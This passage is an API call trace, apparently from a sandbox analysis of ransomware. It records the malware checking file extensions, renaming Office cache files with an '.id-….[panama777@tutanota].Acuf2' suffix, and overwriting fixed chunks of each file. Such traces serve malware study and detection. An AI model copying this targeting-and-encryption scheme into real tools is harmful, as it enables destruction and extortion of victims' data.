	[0045.451] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.451] lstrlenW (lpString=".rar") returned 4
	[0045.451] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.451] lstrlenW (lpString=".bz2") returned 4
	[0045.451] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.451] lstrlenW (lpString=".7z") returned 3
	[0045.451] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString=".dbf") returned 4
	[0045.452] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.452] lstrlenW (lpString=".1cd") returned 4
	[0045.452] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.452] lstrlenW (lpString=".jpg") returned 4
	[0045.452] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.452] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0045.452] lstrlenW (lpString="OWOW32LR.cab") returned 12
	[0045.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0045.452] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=2928955) returned 1
	[0045.452] CloseHandle (hObject=0x1e0) returned 1
	[0045.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020
	[0045.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.453] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0045.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0045.453] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0045.453] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.453] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.458] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.458] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.466] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0045.466] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.466] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.481] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.481] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0045.818] SetEndOfFile (hFile=0x1e0) returned 1
	[0045.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f337d0
	[0045.821] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.821] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0045.823] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.823] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0045.828] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.828] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0045.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f337d0 | out: hHeap=0x4f0000) returned 1
	[0045.830] CloseHandle (hObject=0x1e0) returned 1
	[0046.406] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.406] lstrlenW (lpString=".doc") returned 4
	[0046.406] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.406] lstrlenW (lpString=".docx") returned 5
	[0046.406] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.406] lstrlenW (lpString=".pdf") returned 4
	[0046.406] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.406] lstrlenW (lpString=".xls") returned 4
	[0046.406] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.406] lstrlenW (lpString=".xlsx") returned 5
	[0046.406] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.406] lstrlenW (lpString=".ppt") returned 4
	[0046.406] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.406] lstrlenW (lpString=".zip") returned 4
	[0046.406] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString=".rar") returned 4
	[0046.407] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString=".bz2") returned 4
	[0046.407] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.407] lstrlenW (lpString=".7z") returned 3
	[0046.407] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString=".dbf") returned 4
	[0046.407] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString=".1cd") returned 4
	[0046.407] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString=".jpg") returned 4
	[0046.407] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString=".doc") returned 4
	[0046.407] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString=".docx") returned 5
	[0046.407] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.407] lstrlenW (lpString=".pdf") returned 4
	[0046.407] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString=".xls") returned 4
	[0046.407] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString=".xlsx") returned 5
	[0046.407] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.407] lstrlenW (lpString=".ppt") returned 4
	[0046.407] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.407] lstrlenW (lpString=".zip") returned 4
	[0046.408] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.408] lstrlenW (lpString=".rar") returned 4
	[0046.408] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.408] lstrlenW (lpString=".bz2") returned 4
	[0046.408] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.408] lstrlenW (lpString=".7z") returned 3
	[0046.408] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.408] lstrlenW (lpString=".dbf") returned 4
	[0046.408] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.408] lstrlenW (lpString=".1cd") returned 4
	[0046.408] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0046.408] lstrlenW (lpString=".jpg") returned 4
	[0046.408] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.408] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0046.408] lstrlenW (lpString="VisioMUI.msi") returned 12
	[0046.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0046.409] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=2797568) returned 1
	[0046.409] CloseHandle (hObject=0x1e0) returned 1
	[0046.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020
	[0046.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.409] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0046.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.410] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.414] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.414] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.423] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.423] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.423] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.437] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.437] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0046.737] SetEndOfFile (hFile=0x1e0) returned 1
	[0046.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f037d0
	[0046.824] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.824] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.826] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.826] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.831] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.831] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f037d0 | out: hHeap=0x4f0000) returned 1
	[0046.833] CloseHandle (hObject=0x1e0) returned 1
	[0046.834] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.834] lstrlenW (lpString=".doc") returned 4
	[0046.834] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.834] lstrlenW (lpString=".docx") returned 5
	[0046.834] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.834] lstrlenW (lpString=".pdf") returned 4
	[0046.834] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.834] lstrlenW (lpString=".xls") returned 4
	[0046.834] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.834] lstrlenW (lpString=".xlsx") returned 5
	[0046.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.834] lstrlenW (lpString=".ppt") returned 4
	[0046.834] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.834] lstrlenW (lpString=".zip") returned 4
	[0046.834] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.834] lstrlenW (lpString=".rar") returned 4
	[0046.834] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.834] lstrlenW (lpString=".bz2") returned 4
	[0046.834] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.835] lstrlenW (lpString=".7z") returned 3
	[0046.835] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString=".dbf") returned 4
	[0046.835] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString=".1cd") returned 4
	[0046.835] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString=".jpg") returned 4
	[0046.835] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString=".doc") returned 4
	[0046.835] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.835] lstrlenW (lpString=".docx") returned 5
	[0046.835] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.835] lstrlenW (lpString=".pdf") returned 4
	[0046.835] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.835] lstrlenW (lpString=".xls") returned 4
	[0046.835] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.835] lstrlenW (lpString=".xlsx") returned 5
	[0046.835] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.835] lstrlenW (lpString=".ppt") returned 4
	[0046.835] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.835] lstrlenW (lpString=".zip") returned 4
	[0046.835] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.835] lstrlenW (lpString=".rar") returned 4
	[0046.835] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.836] lstrlenW (lpString=".bz2") returned 4
	[0046.836] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.836] lstrlenW (lpString=".7z") returned 3
	[0046.836] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.836] lstrlenW (lpString=".dbf") returned 4
	[0046.836] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.836] lstrlenW (lpString=".1cd") returned 4
	[0046.836] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75
	[0046.836] lstrlenW (lpString=".jpg") returned 4
	[0046.836] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.836] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0046.836] lstrlenW (lpString="OnoteLR.cab") returned 11
	[0046.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0046.852] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=17456632) returned 1
	[0046.852] CloseHandle (hObject=0x1dc) returned 1
	[0046.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020
	[0046.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.852] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.853] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0046.853] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.853] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.853] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.861] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.861] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
